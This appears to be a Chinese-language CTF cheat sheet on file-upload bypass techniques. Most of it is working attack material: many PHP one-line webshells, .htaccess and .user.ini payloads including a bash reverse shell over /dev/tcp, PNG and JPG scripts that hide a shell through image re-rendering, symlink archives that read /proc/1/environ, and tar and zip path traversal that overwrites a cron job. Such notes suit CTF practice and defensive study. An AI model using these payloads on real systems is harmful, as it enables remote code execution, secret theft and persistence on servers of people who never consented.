文件上传

上传绕过

前端JS验证

直接丢给 AI / 改包。

MIME类型检测

修改包即可。

文件后缀检测

可用后缀:

1
php、php3、php4、php5、php7、pht、phtml、phps

大小写绕过

%00 截断:

a.php{hex(00)}jpg

代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方 ,因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg),这样就通过了白名单校验 并且保存成了php文件
这里就要用到0x00截断的知识
url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
用 bp 可以看是否在 url 中,如果在 %00,如果不在,用HEX模式修改空格或加号的 HEX值 。

配置文件修改

.user.ini

要求服务器使用CGI/FastCGI模式

1
2
3
GIF89a
auto_prepend_file=a.jpg
auto_append_file=a.jpg
1
2
GIF89a
auto_prepend_file=/var/log/nginx/access.log
1
2
GIF89a
auto_prepend_file=php://input #等伪协议

.htaccess

仅要求 apache,不能使用 GIF89a

1
2
3
4
#define width 1;
#define height 1;
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=base64yjh.png"
1
2
3
payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\\%0Ale%20".htaccess"\n%23<?php system(\'bash -c "/bin/bash -i >%26 /dev/tcp/ip/port 0<%261"\');?>\\'
#用\ 绕过(两个 \ 因为要转义)file的关键词过滤
#然后用 "#" 注释掉在INI文件里的php代码 这里只能上传一个文件所以直接包含了 .htaccess
1
2
3
4
5
AddHandler p\
hp5-script .txt
p\
hp_value au\
to_append_file /flag

内容头校验

1270588-20190608001745984-703396364

image-20251105153033360

变形一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
GIF89a
<script language="php">eval($_POST[1])</script>

<?=`whoami`;?>

<?=eval(next(getallheaders()))?>

<?php eval($_POST[1]);?>

<?=eval($_COOKIE[1]);?>

<?=$_GET['a']($_GET['b']);?>

//php7.0及其以上版本也可使用
<?php @assert($_POST[1]) ?>

<?php $st=@create_function('',$_POST[1]);$st();?>

//php5
<?php @preg_replace('/.*/e',$_POST[1],'');?>
<?php @preg_filter('/.*/e',$_POST[1],'');?>

//php7
<?php @mb_ereg_replace('.*',$_POST[1],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST[1],'','ee');?>
<?php @mbereg_replace('.*',$_POST[1],'','ee');?>
<?php @mberegi_replace('.*',$_POST[1],'','ee');?>

PHAR

phar + include => RCE

phar 触发反序列化

phar 读压缩包内的文件:

1
file_get_contents("phar://1.zip/1.txt")

超长文件名截断上传

windows - 258 byte | linux - 4096 byte,使用 ./.

图片马与二次渲染

简单图片马

1
copy 1.jpg/b + 1.php/a 2.jpg

二次渲染

gif

一般直接修改就行。

png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

//<?$_GET[0]($_POST[1]);?>

文件条件竞争

上传后,趁着还没删除多线程读/执行。

jpg

需要使用专用的图,否则容易失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
// php qwq.php <imgName>

压缩包

软连接

1
2
3
4
5
6
7
ln -s /proc/1/environ env.txt
ln -s /var/www/html link

zip --symlinks env.zip env.txt # --symlinks(否则无法压缩软连接文件)
# unzip env.zip 解压
tar -zcvf env.tar link
# tar zxvf env.tar 解压

解压失败

超长文件名

1
2
3
4
5
6
7
8
9
10
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('1.php', b'@<?php phpinfo();?>')
zf.writestr('A'*5000, b'AAAAA')

with open("shell.zip", "wb") as f:
f.write(mf.getvalue())

文件名长度大于4096 就可以解压失败,而对于那些解压全部成功后再判断内容的题目,可以解压出部分文件。

恶意同名文件与文件夹

1
2
3
4
5
zip -y evil.zip yjh.php
rm yjh.php
mkdir yjh.php
echo 1 > yjh.php/1
zip -y evil.zip yjh.php/1

PHP ZipArchive库

ZipArchive容忍度比较高,可以在文件名上下功夫。

比如,Windows下不允许文件名中包含冒号(:),可以在010editor中将2.txt的deFileName属性的值改成2.tx:,此时解压就会出错,但1.php被保留了下来。

在Linux中也有类似的方法,可以将文件名改为5个斜杠(/////),此时Linux下解压也会出错,但1.php被保留了下来。

例:

1
2
3
zip ok.zip muma.php 1.txt

使用zip将木马和1.txt压缩,然后使用010editor修改1.txt文件名为////

目录穿越

tar

tar_file.extractall():解压 .tar 文件的 extractall() 方法未指定安全检查,因此如果 .tar 文件包含特意构造的文件路径(如 ../../),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。

这里是覆写计划任务

1
2
3
4
5
6
import tarfile
import os

# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:
tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron')

zip

1
2
3
4
5
6
7
8
9
10
import zipfile  

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("D://dynamic.yml", "../../../../../../..//app/.config/dynamic.yml", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e

ZipArchive.addGlob remove_path

虚假的 PHP ZipArchive::addGlob 与损坏的文件路径 — 嘘つきPHP ZipArchive::addGlobと壊れたファイルパス

1
$zip->addGlob($dir, 0, ['add_path' => $add_path, 'remove_path' => $remove_dir]);//add_path 和 remove_path 缺一不可

remove_dir 不会实际的删除,而是从 $dir 前截取 $remove_dir长度+1的字符进行删除(也就是说 PHP 默认你填的是 /tmp 这种路径),然后再和 $add_path 进行拼接。

例子:

1
$zip->addGlob("/tmp/tmp", 0, ['add_path' => "/var/www/html/", 'remove_path' =>"/tmp//" ]);

最后结果是 /var/www/html/p